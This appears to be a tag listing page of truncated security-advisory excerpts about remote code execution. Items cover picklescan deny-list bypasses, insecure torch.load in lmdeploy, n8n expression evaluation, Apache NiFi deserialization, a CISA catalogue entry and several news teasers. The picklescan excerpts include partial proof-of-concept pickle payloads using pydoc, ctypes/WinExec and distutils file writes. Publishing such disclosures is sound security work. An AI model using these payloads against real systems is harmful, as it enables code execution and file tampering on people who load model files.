#rce

### Summary Currently picklescanner only blocks some specific functions of the pydoc and operator modules. Attackers can use other functions within these allowed modules to go through undetected and achieve RCE on the final user. Particularly * pydoc.locate: Can dynamically resolve and import arbitrary modules (e.g., resolving the string "os" to the actual os module). * operator.methodcaller: Allows executing a method on an object. When combined with a resolved module object, it can execute functions like system. Since locate and methodcaller are not explicitly listed in the deny-list, picklescan treats them as "Safe" or "Suspicious" (depending on configuration) but does not flag them as "Dangerous", allowing the malicious file to bypass the security check. ### PoC use the provided script to create a malicious pickle file ```python import pickle import pydoc import operator import os class ModuleLocator: def __init__(self, module_name): self.module_name = module_name ...

### Summary Picklescan doesnt flag ctypes module as a dangerous module, which is a huge issue. ctypes is basically a foreign function interface library and can be used to * Load DLLs * Call C functions directly * Manipulate memory raw pointers. This can allow attackers to achieve RCE by invoking direct syscalls without going through blocked modules. Another major issue that ctypes being allowed presents is that it can be used down the line to dismantle interpreter based python sandboxes as ctypes allow direct access to raw memory. This is a more severe loophole than normal gadget chains and bypasses as raw memory access can be used for a lot of nefarious purposes down the line if left undetected ### PoC ```python import pickle import ctypes import operator class Kernel32Loader: def __reduce__(self): #we go direct to the kerneeellllllll return (ctypes.WinDLL, ("kernel32.dll",)) class WinExecGetter: def __reduce__(self): return (operator.itemgetter("W...

### Summary Picklescan has got open() and shutil in its default dangerous blocklist to prevent arbitrary file overwrites. However the module distutils isnt blocked and can be used for the same purpose ie to write arbitrary files. ### Details This is another vulnerability which impacts the downstream user. By constructing a pickle that user distutils.file_util.write_file, an attacker can overwrite critical system files (like .ssh/authorized_keys, web server configurations, or source code) to achieve DoS or escalate to RCE. ### PoC ```python import pickle import distutils.file_util class FileWriteBypass: def __reduce__(self): target_file = "pwned_config.env" content = ["print('I have overwritten your config')"] return (distutils.file_util.write_file, (target_file, content)) payload = pickle.dumps(FileWriteBypass()) with open("bypass_filewrite.pkl", "wb") as f: f.write(payload) print("bypass_filewrite.pkl") ``` <img width="853" heig...

Last week’s cyber news in 2025 was not about one big incident. It was about many small cracks opening at the same time. Tools people trust every day behave in unexpected ways. Old flaws resurfaced. New ones were used almost immediately. A common theme ran through it all in 2025. Attackers moved faster than fixes. Access meant for work, updates, or support kept getting abused. And damage did not

## Summary An insecure deserialization vulnerability exists in lmdeploy where `torch.load()` is called without the `weights_only=True` parameter when loading model checkpoint files. This allows an attacker to execute arbitrary code on the victim's machine when they load a malicious `.bin` or `.pt` model file. **CWE:** CWE-502 - Deserialization of Untrusted Data --- ## Details Several locations in lmdeploy use `torch.load()` without the recommended `weights_only=True` security parameter. PyTorch's `torch.load()` uses Python's pickle module internally, which can execute arbitrary code during deserialization. ### Vulnerable Locations **1. `lmdeploy/vl/model/utils.py` (Line 22)** ```python def load_weight_ckpt(ckpt: str) -> Dict[str, torch.Tensor]: """Load checkpoint.""" if ckpt.endswith('.safetensors'): return load_file(ckpt) # Safe - uses safetensors else: return torch.load(ckpt) # ← VULNERABLE: no weights_only=True ``` **2. `lmdeploy/turbomind/dep...

It’s getting harder to tell where normal tech ends and malicious intent begins. Attackers are no longer just breaking in — they’re blending in, hijacking everyday tools, trusted apps, and even AI assistants. What used to feel like clear-cut “hacker stories” now looks more like a mirror of the systems we all use. This week’s findings show a pattern: precision, patience, and persuasion. The

The U.S. Cybersecurity and Infrastructure Security Agency (CISA) added a security flaw impacting Digiever DS-2105 Pro network video recorders (NVRs) to its Known Exploited Vulnerabilities (KEV) catalog, citing evidence of active exploitation. The vulnerability, tracked as CVE-2023-52163 (CVSS score: 8.8), relates to a case of command injection that allows post-authentication remote code

### Impact n8n contains a critical Remote Code Execution (RCE) vulnerability in its workflow expression evaluation system. Under certain conditions, expressions supplied by authenticated users during workflow configuration may be evaluated in an execution context that is not sufficiently isolated from the underlying runtime. An authenticated attacker could abuse this behavior to execute arbitrary code with the privileges of the n8n process. Successful exploitation may lead to full compromise of the affected instance, including unauthorized access to sensitive data, modification of workflows, and execution of system-level operations. ### Patches This issue has been fixed in **n8n v1.122.0**. Users are strongly advised to upgrade to version **1.122.0 or later**, which introduces additional safeguards to restrict expression evaluation. ### Workarounds If upgrading is not immediately possible, administrators should consider the following temporary mitigations: - Limit workflow creation...

Cyber threats last week showed how attackers no longer need big hacks to cause big damage. They’re going after the everyday tools we trust most — firewalls, browser add-ons, and even smart TVs — turning small cracks into serious breaches. The real danger now isn’t just one major attack, but hundreds of quiet ones using the software and devices already inside our networks. Each trusted system can

Apache NiFi 1.20.0 through 2.6.0 include the GetAsanaObject Processor, which requires integration with a configurable Distribute Map Cache Client Service for storing and retrieving state information. The GetAsanaObject Processor used generic Java Object serialization and deserialization without filtering. Unfiltered Java object deserialization does not provide protection against crafted state information stored in the cache server configured for GetAsanaObject. Exploitation requires an Apache NiFi system running with the GetAsanaObject Processor, and direct access to the configured cache server. Upgrading to Apache NiFi 2.7.0 is the recommended mitigation, which replaces Java Object serialization with JSON serialization. Removing the GetAsanaObject Processor located in the nifi-asana-processors-nar bundle also prevents exploitation.